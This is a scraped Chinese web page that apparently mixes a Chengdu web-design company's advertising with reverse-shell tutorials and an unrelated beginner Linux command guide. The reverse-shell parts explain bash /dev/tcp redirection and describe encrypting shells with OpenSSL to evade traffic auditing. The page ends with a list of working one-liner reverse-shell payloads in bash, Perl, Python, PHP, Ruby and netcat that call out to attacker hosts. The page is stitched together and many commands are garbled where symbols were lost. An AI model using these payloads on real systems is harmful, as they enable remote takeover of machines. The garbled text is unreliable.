甜橘子，专注成都网站制作网站设计与营销型网站建设与优化
QQ :532337155
电话：028-86922220
将这句话拆开来看， bash -i ， ， /dev/tcp/ ， 01 ，有三个知识点。
创新互联从2013年成立，先为涧西等服务建站，涧西等地企业，进行企业商务咨询服务。为涧西企业网站制作PC+手机+微官网三网同步一站式服务解决您的所有建站问题。
（1） bash -i 是打开一个交互的bash
（2） /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。
（3） 和 01 这两个涉及到Linux文件描述符和重定向。此处的 是取地址符
（1）文件描述符
Linux启动时会默认打开三个文件描述符（实现文件读写操作），Linux把键盘、显示器等设备也当做文件用文件描述符进行控制，如果要修改默认设备就需要进行重定向。
（2）重定向
输入的重定向包括， 和 ，输出的重定向包括， 和 ， n file 代表将文件描述符 n 重定向到file指代的文件（以只读方式打开）,如果n省略就是0（标准输入）。同理如果是输出的重定向， n file ，n省略则默认是1。
错误输出的重定向有三种形式
其中， 和 是一个意思，都是将标准错误输出合并到标准输出中。 21 和 file 可以用如下过程图表示
需要注意的是，上述输入输出重定向，将输入和输出绑定到文件或者设备只对该条指令有效，如果想要一直有效，就需要添加exec指令 exec n / file/n
（3）复制
与之形似的是文件描述符的复制 nm / nm ，这两个都是将文件描述符 n 复制到 m ，两者的区别是，前者是以只读的形式打开，后者是以写的形式打开，因为读/写方式对于复制操作几乎没有影响所以两者基本可以看作是等价的。这里的 目的是区分以数字为名字的文件和文件描述符的数值，如果没有 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件，而不是另一个文件描述符。
此时再来看这句命令，可与理解为，创建一个可交互的bash和一个到172.168.1.1:80的TCP链接，然后将bash的输入输出错误都重定向到在172.168.1.1:80监听的进程。
首先，反弹shell可以理解为，攻击者监听在TCP/UDP端口，被控制端的请求被转发到该端口，可以控制其输入输出。一般攻击者攻击了一台机器，并用自己的主机去连接该机器的端口，这是一种“正向连接”，远程桌面、web服务、ssh、telnet等都是正向连接的一种。但是如果被攻击的机器处于内网中可能造成无法连接，或者有防火墙等限制，再或者攻击者需要进行实时控制，正向连接是无法满足需要的。所以有了“反向连接”，即让被攻击的主机主动去连接攻击者的服务器。
所以我们还可以从反向连接的角度来理解一下 01 。如果只是 bash -i /dev/tcp/172.168.1.1/80 ，将输出描述符连接到了端口，该端口可接收到我们的输出，即我们正向连接了被攻击者的机器，但是我们输入shell后是无法看到回显的。回显只会显示在被攻击者的机器上。如果我们想要得到回显，需要将被攻击机器的输入描述符连接到我们监听的端口上。
也就是说如果我们想要看到回显，除了先将输出描述符连接到端口上，还需要将其输入描述符也连接到端口上。即输入描述符0和输出描述符1连接相同， 01 即可解决。这就形成了一个回路，实现了远程交互式shell的功能。
不过这样的一条指令还不够完善，因为这条指令会使得我们在被攻击的机器上依然能看到我们在攻击者机器中执行的指令，那么解决办法就是将错误输出和标准输出进行混合，即将 bash -i 换为 bash -i
Bash相关shell主要有以下几种：
刚才详细讲的是第一种bash shell，第二种是将 这种错误输出的混合方式改成了 21 ，2代表错误输出，1代表标准输出，2指向了1，即输出混合了。文件描述符的复制 nm / nm 两种虽然读写不同但是对于shell的效果是等价的，即和 01 效果相同。所以第二种就是第一种的变种。第四种同理，输入、输出、报错都定位到同一位置。第五种选了一个新的文件描述符196，道理类似。
对于第三种bash shell，exec已经在前面提到过可以持续连接，后面的关键点如下：
从文件中依次读取每一行，将其赋值给 line 变量（其他也可），之后在循环中对line进行操作。这里不再从文件中读取，而是通过管道符对攻击者机器上输入的命令进行依次执行，并且将标准输出和标准错误输出都重定向到了文件描述符5，也就是攻击机上，实现交互式shell的功能。
另外，本文最开始的时候说到/dev/tcp/是Linux中的一个特殊设备类似的还有/dev/udp/，按照tcp的方式直接改成udp就行。
sh -i /dev/udp/172.168.1.1/80 01
除了bash还有很多其他借用第三方工具（nc、telnet、socat、xterm）或使用脚本语言（python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell）反弹shell的方式，这里就不一一列举了，原理类似。写这篇文章总结shell的过程中顺手将网络上的shell进行了收集，将近80条，写了BashShell.py，就是个简单的查询shell的工具，有需要的下方留言
shell是渗透中常用的名词，像getshell，webshell，反弹shell等等，都和shell相关。
百度百科解释的shell：
在计算机科学中，Shell俗称壳（用来区别于核），是指“为使用者提供操作界面”的软件（命令解析器）。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令，然后调用相应的应用程序。
简单说用户通过壳访问操作系统内核的服务，也就是由壳到内核，执行系统命令。
getshell：获取到目标的命令执行权限
webshell：指网站后门，通过web服务进行命令执行
反弹shell：把命令行的输入输出转移到其它主机
1、webshell下执行命令不交互，为了方便提权或其它操作必须要反弹shell。
2、反弹shell相当于新增一个后门，当webshell被发现删除后权限不会丢失。
使用whereis命令去确定目标支持的反弹方法。
bash反弹是实战中用的最多的方法
把命令拆开分析：
1、bash -i代表在本地打开一个bash
2、/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接
3、后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件，也就是传递到远程vps
4、远程vps开启对应的端口去监听，就会接收到这个bash的标准输出和标准错误输出。
需要目标主机安装了nc
使用其他版本的 nc
配合命名管道进行反弹：
首先使用socket与远程建立起连接，接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程，dup2这个方法有两个参数，分别为文件描述符fd1和fd2，当fd2参数存在时，就关闭fd2，然后将fd1代表的那个文件强行复制给fd2，在这里可以把fd1和fd2看作是C语言里的指针，将fd1赋值给fd2，就相当于将fd2指向于s.fileno()，fileno()返回的是一个文件描述符，在这里也就是建立socket连接返回的文件描述符，打印出来数值为3
0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程
接下来使用os的subprocess在本地开启一个子进程，传入参数“-i”使bash以交互模式启动，标准输入、标准输出、标准错误输出又被重定向到了远程，这样的话就可以在远程执行输入命令了。
需要php关闭safe_mode选项，才可以使用exec函数。
使用php的exec函数执行方法1反弹shell的命令
使用php的fsockopen去反弹shell
exec反弹
perl反弹
ruby反弹
lua反弹
通过上述命令反弹shell得到的shell并不能称为完全交互的shell，通常称之为'哑'shell。
通常存在以下缺点
因此有必要去获取一个完全交互的shell。
1、在哑 shell 中执行python,使用pty模块，创建一个原生的终端，命令如下：
运行完后
2、键入 Ctrl-Z暂停任务，切回到 VPS 的命令行中；在 VPS 中执行：
3、在哑 shell 中执行，得到一个完全交互的shell，支持命令补全、历史命令查看、语法高亮、vim编辑等功能。
部分防护设备会对内外网传输流量进行审查，反弹shell执行命令都是以明文进行传输的，很容易被查杀。
因此需要将原始流量使用 openssl 加密，绕过流量审计设备。
1、首先vps上生成SSL证书的公钥/私钥对,信息懒得填，一直回车即可。
2、vps使用 OpenSSL 监听一个端口
3、目标主机执行反弹加密shell
反弹成功，成功接收到ssl流量加密的shell。
【Reverse shell】也叫反弹shell，是渗透攻击的基本功，如果你找到机会让远端的机器执行你注入的代码，你的代码怎样才能为你生成一个可以交互操作的shell呢?
你可以在本地先用nc启动一个监听进程【nc -l 端口号】
然后在远端执行【bash -i /dev/tcp/你本地的IP/端口号 01】即可。
简单来说，Shell就是实现用户命令的接口，通过这个接口我们就能实现对计算机的控制，比如我们常见的ssh就是执行的Shell命令实现对远程对服务器的控制。
那反弹Shell是啥呢?其英文名叫做Reverse
Shell，具体干什么的呢?就是控制端首先监听某个TCP/UDP端口，然后被控制端向这个端口发起一个请求，同时将自己命令行的输入输出转移到控制端，从而控制端就可以输入命令来控制被控端了。
比如说，我们有两台主机A、B，我们最终想实现在A上控制B。那么如果用正向Shell，其实就是在A上输入B的连接地址，比如通过ssh连接到
B，连接成功之后，我们就可以在A上通过命令控制B了。
如果用反向Shell，那就是在A上先开启一个监听端口，然后让B去连接A的这个端口，连接成功之后，A这边就能通过命令控制B了。
反弹shell有什么用?
还是原来的例子，我们想用A来控制B，如果想用ssh等命令来控制，那得输入B的sshd地址或者端口对吧?但是在很多情况下，由于防火墙、安全组、局域网、NAT等原因，我们实际上是无法直接连接到B的，比如：
A虽然有公网IP，但B是一个处于内网的机器，A就没法直接连到B上。
B上开了防火墙或者安全组限制，sshd的服务端口22被封闭了。
B是一台拨号主机，其IP地址经常变动。
假如B被攻击了，我们想让B向A汇报自己的状况，那自然就需要B主动去连接A。
如果是这些情况，我们就可以用反弹Shell用A来控制B了。
学习Linux系统，命令是最基础的一部分，有着很重要的地位，所以入门必须掌握好常用命令。下面由我为大家整理了Linux系统常用的基本命令入门篇，希望对大家有帮助!
Linux系统常用的基本命令入门篇一、基础命令
1.Linu x的进 入与退出系统
进入Linux系统：
必须要输入用户的账号，在系统安装过程中可以创建以下两种帐号：
1.root--超级用户帐号(系统管理员)，使用这个帐号可以在系统中做任何事情。
2.普通用户--这个帐号供普通用户使用，可以进行有限的操作。
一般的Linux使用者均为普通用户，而系统管理员一般使用超级用户帐号完成一些系统管理的工作。如果只需要完成一些由普通帐号就能完成的任务，建议不要使用超级用户帐号，以免无意中破坏系统。影响系统的正常运行。
用户登录分两步：第一步，输入用户的登录名，系统根据该登录名识别用户;第二步，输入用户的口令，该口令是用户自己设置的一个字符串，对其他用户是保密的，是在登录时系统用来辨别真假用户的关键字。
当用户正确地输入用户名和口令后，就能合法地进入系统。屏幕显示：
[root@loclhost/root] #
这时就可以对系统做各种操作了。注意超级用户的提示符是ldquo;#rdquo;，其他用户的提示符是ldquo;$rdquo;。
2.修改口令
为了更好的保护用户帐号的安全，Linux允许用户随时修改自己的口令，修改口令的命令是passwd，它将提示用户输入旧口令和新口令，之后还要求用户再次确认新口令，以避免用户无意中按错键。如果用户忘记了口令，可以向系统管理员申请为自己重新设置一个。
3.虚拟控制台
Linux是一个真正的多用户 操作系统 ，它可以同时接受多个用户登录。Linux还允许一个用户进行多次登录，这是因为Linux和UNIX一样，提供了虚拟控制台的访问方式，允许用户在同一时间从控制台进行多次登录。虚拟控制台的选择可以通过按下Alt键和一个功能键来实现，通常使用F1-F6例如，用户登录后，按一下Alt-F2键，用户又可以看到"login:"提示符，说明用户看到了第二个虚拟控制台。然后只需按Alt-F1键，就可以回到第一个虚拟控制台。 一个新安装的Linux系统默认允许用户使用Alt-F1到Alt-F6键来访问前六个虚拟控制台。虚拟控制台可使用户同时在多个控制台上工作，真正体现Linux系统多用户的特性。用户可以在某一虚拟控制台上进行的工作尚未结束时，切换到另一虚拟控制台开始另一项工作。
退出系统
不论是超级用户，还是普通用户，需要退出系统时，在shell提示符下，键入exit命令即可。
4.查看命令帮助信息
man命令
man命令用于查询命令和程序的使用 方法 和参数。
例如：
man ls
将显示ls命令的基本格式和使用方法
Linux系统常用的基本命令入门篇二、关机重启命令
首先，是关机/重启命令，仅在虚拟机时使用，实际工作中用不到
reboot 一般不跟参数使用，输入指令即可重启
shutdown 一般需要跟参数，例：
shutdown -r 延时多少分钟重启，一般使用now
shutdown -r now 立即重启
shutdown -f 强制重启
跟windows一样，linux也存在注销功能
exit
1)halt
halt 可不接参数
halt -f 强制关机
2)poweroff
poweroff 可不接参数使用
poweroff -f 强制关机
3)init 0
4)shutdown 不可单独使用
shutdown -h 分钟数 延时多久关机
shutdown -h now 立即关机
Linux系统常用的基本命令入门篇三、vi编辑
vi命令是UNIX操作系统和类UNIX操作系统中最通用的全屏幕纯文本编辑器。
Linux中的vi编辑器叫vim，它是vi的增强版(vi Improved)，与vi编辑器完全兼容，而且实现了很多增强功能。
vi编辑器支持编辑模式和命令模式，编辑模式下可以完成文本的编辑功能，命令模式下可以完成对文件的操作命令，要正确使用vi编辑器就必须熟练掌握着两种模式的切换。
默认情况下，打开vi编辑器后自动进入命令模式。从编辑模式切换到命令模式使用ldquo;escrdquo;键，从命令模式切换到编辑模式使用ldquo;Ardquo;、ldquo;ardquo;、ldquo;Ordquo;、ldquo;ordquo;、ldquo;Irdquo;、ldquo;irdquo;键。
vi编辑器提供了丰富的内置命令，有些内置命令使用键盘组合键即可完成，有些内置命令则需要以冒号ldquo;：rdquo;开头输入。常用内置命令如下：
1 Ctrl+u：向文件首翻半屏;
2 Ctrl+d：向文件尾翻半屏;
3 Ctrl+f：向文件尾翻一屏;
4 Ctrl+b：向文件首翻一屏;
5 Esc：从编辑模式切换到命令模式;
6 ZZ：命令模式下保存当前文件所做的修改后退出vi;
7 :行号：光标跳转到指定行的行首;
8 :$：光标跳转到最后一行的行首;
9 x或X：删除一个字符，x删除光标后的，而X删除光标前的;
10 D：删除从当前光标到光标所在行尾的全部字符;
11 dd：删除光标行正行内容;
12 ndd：删除当前行及其后n-1行;
13 nyy：将当前行及其下n行的内容保存到寄存器?中，其中?为一个字母，n为一个数字;
14 p：粘贴文本操作，用于将缓存区的内容粘贴到当前光标所在位置的下方;
15 P：粘贴文本操作，用于将缓存区的内容粘贴到当前光标所在位置的上方;
16 /字符串：文本查找操作，用于从当前光标所在位置开始向文件尾部查找指定字符串的内容，查找的字符串会被加亮显示;
17 ?name：文本查找操作，用于从当前光标所在位置开始向文件头部查找指定字符串的内容，查找的字符串会被加亮显示;
18 a，bs/F/T：替换文本操作，用于在第a行到第b行之间，将F字符串换成T字符串。其中，ldquo;s/rdquo;表示进行替换操作;
19 a：在当前字符后添加文本;
20 A：在行末添加文本;
21 i：在当前字符前插入文本;
22 I：在行首插入文本;
23 o：在当前行后面插入一空行;
24 O：在当前行前面插入一空行;
25 :wq：在命令模式下，执行存盘退出操作;
26 :w：在命令模式下，执行存盘操作;
27 :w!：在命令模式下，执行强制存盘操作;
28 :q：在命令模式下，执行退出vi操作;
29 :q!：在命令模式下，执行强制退出vi操作;
30 :e文件名：在命令模式下，打开并编辑指定名称的文件;
31 :n：在命令模式下，如果同时打开多个文件，则继续编辑下一个文件;
32 :f：在命令模式下，用于显示当前的文件名、光标所在行的行号以及显示比例;
33 :set nu：在命令模式下，用于在最左端显示行号;
34 :set nonu：在命令模式下，用于在最左端不显示行号;
35 :1,3y 复制第一行到第三行
36 :1,3d 删除第一行到第三行
37 :1,3s/str/str_new/g 替换第一行到第三行中的字符串
38 :1,3s/str/str_new 替换第一行到第三行中的字符串第一个字符
39 :1,3 g/str /d 删除第一行到第三行中含有这个字符串的行
Linux常用命令一、查询相关
find
按规则查找某个文件或文件夹，包括子目录
find . -name '_sh' -- 以.sh结尾的文件
find . -name '_hannel_ -- 包含channel字符的文件
find . -name 'build_ -- 以build开头的文件
find . -name 'abc??' -- abc后面有两个字符的文件
grep
查找内容包含指定的范本样式的文件，Global Regular Expression Print
grep -n pattern files -- 规则 -n表示显示行号
grep -n 'PostsActivity' AndroidManifest.xmlgrep -n '\d' AndroidManifest.xmlgrep 'aapt' build-channel.xml -- 文件中包含字符串的所有地方
grep -n 'aapt' build-channel.xml -- 文件中包含字符串的所有地方，并显示行号
ps -e | grep java -- 所有java进程
ps -e | grep -i qq --所有qq进程，不区分大小写
find . -name '_hannel.xml' | xargs grep -n 'aapt' -- 在以channel.xml结尾的文件中查找包含lsquo;aaptrsquo;关键字的地方
ls | grep 'channel' -- 包含channel关键字的文件
which
在PATH变量指定的路径中，搜索某个系统命令的位置，并且返回第一个搜索结果
which zipwhich grep
Linux常用命令二、查看命令
tail
tail [-f] [-c Number | -n Number | -m Number | -b Number | -k Number] [File]
从指定点开始将文件写到标准输出。使用tail命令的-f选项可以方便的查阅正在改变的日志文件，tail -f filename会把filename里最尾部的内容显示在屏幕上，并且不断刷新，使你看到最新的文件内容。
tail -f test.log，循环查看文件内容，Ctrl+c来终止
tail -n 5 test.log，显示文件最后5行内容
tail -n +5 test.log，从第5行开始显示文件
more
more [-dlfpcsu] [-num] [+/ pattern] [+linenum] [file...]
more命令和cat的功能一样都是查看文件里的内容，但有所不同的是more可以按页来查看文件的内容，还支持直接跳转行等功能。
more +3 test.log，显示文件中从第3行起的内容
more -5 test.log，设定每屏显示行数
ls -l | more -5，每页显示5个文件信息
more +/day3 test.log，查找第一个出现"day3"字符串的行，并从该处前两行开始显示输出
less
less [options] [file...]
与more命令一样，less命令也用来分屏显示文件的内容。但是二者存在差别：less命令允许用户向前或向后浏览文件，而more命令只能向前浏览。用less命令显示文件时，用PageUp键向上翻页，用PageDown键向下翻页。要退出less程序，应按Q键。
less test.log，查看文件
ps -ef | less，查看进程信息并通过less分页显示
history | less，查看命令历史使用记录并通过less分页显示
less test1.log test2.log，浏览多个文件，n和p切换文件
watch
watch [options] command
每隔一段时间重复运行一个命令，默认间隔时间是2秒。要运行的命令直接传给shell(注意引用和转义特殊字符)。结果会展示为全屏模式，这样你可以很方便的观察改变
watch -n 60 date，执行date命令每分钟一次，输入^C 退出
watch -d ls -l，查看目录变化
watch -d rsquo;ls -l | fgrep joersquo;，想找joe用户的文件
watch -d 'ls -l|grep scf'，监测当前目录中 scf' 的文件的变化
watch -n 10 'cat /proc/loadavg'，10秒一次输出系统的平均负载
watch -n 1 -d netstat -ant，每隔一秒高亮显示网络链接数的变化
watch -n 1 -d 'pstree | grep http'，每隔一秒高亮显示http链接数的变化
Linux常用命令三、文件相关
vi
vi file
按i键，进入编辑模式
按esc键，进入命令模式
:w 保存文件但不退出vi
:w file 将修改另外保存到file中，不退出vi
:w! 强制保存，不推出vi
:wq 保存文件并退出vi
:wq! 强制保存文件，并退出vi
q: 不保存文件，退出vi
:q! 不保存文件，强制退出vi
:e! 放弃所有修改，从上次保存文件开始再编辑
chmod
change mode，变更文件或目录的读、写、运行权限
chmod [-cfvR] [--help] [--version] mode file...
mode:权限设定字串，格式如下 : [ugoa...][[+-=][rw xX ]...][,...]
u 表示该档案的拥有者，g 表示与该档案的拥有者属于同一个群体(group)者，o 表示其他以外的人，a 表示这三者皆是
+ 表示增加权限、- 表示取消权限、= 表示唯一设定权限。
r 表示可读取，w 表示可写入，x 表示可执行，X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。
chmod也可以用数字来表示权限，语法为：chmod abc file，如chmod 777 file
其中a,b,c各为一个数字，分别表示User、Group、及Other的权限。 r=4，w=2，x=1
chmod 777 file，等同于 chmod a=rwx file
chmod ug=rwx,o=x file，等同于 chmod 771 file
chmod 4755 filename，可使此程序具有root的权限
ls -l 可以查看列出当前用户的文件权限
zip
zip -r filename.zip filesdir
zip -r test.zip ./_把当前所有文件压缩到test.zip
zip -r test.zip test，把test文件所有文件及目录，要是到test.zip
zip -d test.zip test.txt，删除压缩文件中test.txt文件
zip -m test.zip ./test.txt，向压缩文件中test.zip中添加test.txt文件
zip -r test.zip file1 file2 file3 filesdir，处理多个文件和目录，空格隔开
unzip
unzip zip-file，解压到当前目录
unzip -d dst-dir zip-file，解压到指定的目录，-d后为指定目录
unzip -n zip-file，不覆盖已经存在的文件，-n为不要覆盖原有的文件
unzip -n -d dst-dir zip-file，解压到指定的目录，不覆盖已经原有的文件
unzip -o -d dst-dir zip-file，-o不必先询问用户覆盖原有文件
unzip -l zip-file，仅查看压缩文件内所包含的文件
tar
tar cvf test.tar test，把test下所有文件和目录做备份tar czvf test.tar.gz test，把test下所有文件和目录做备份并进行压缩tar xzvf test.tar.gz，把这个备份文件还原并解压缩tar tvf test.tar | more，查看备份文件的内容，并以分屏方式显示在 显示器 上
tar czvf test.tar.gz test --exclude=test/svn，备份压缩并排除目录
touch
etcat-0.7.1.tar.gz
然后当然是解压了
tar zxvf netcat-0.7.1.tar.gz
解压完毕之后会生成目录，要cd进去
cd netcat-0.7.1
然后进行编译前的配置。
./configure
配置完了之后就可以make编译了。
编译成功就生成了netcat可执行的文件了，位于src目录，cd进去进行运行./netcat -h.如图
本地Windows监听
nc -vv -l -p 1234
远程Windows转发
nc -t -e C:\WINDOWS\system32\cmd.exe 8.8.8.8 1234
远程Linux转发
./netcat 8.8.8.8 1234 -e /bin/sh
ReverseShell.c
ReverseShell.pl
ReverseShell.py
phpspy.php
———————NetCat for linux 参数e————————-
下载netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make
cd src
./netcat -h
——————————————————————–
一句话反弹命令
[Bash]
bash -i /dev/tcp/10.0.0.1/8080 01
[PERL]
perl
-e ‘use
Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”S”);open(STDOUT,”S”);open(STDERR,”S”);exec(“/bin/sh
-i”);};’
[Python]
python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
[PHP]
php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i 3 3 23″);’
[Ruby]
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i %d %d 2%d”,f,f,f)’
[Netcat]
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 10.0.0.1 1234 /tmp/f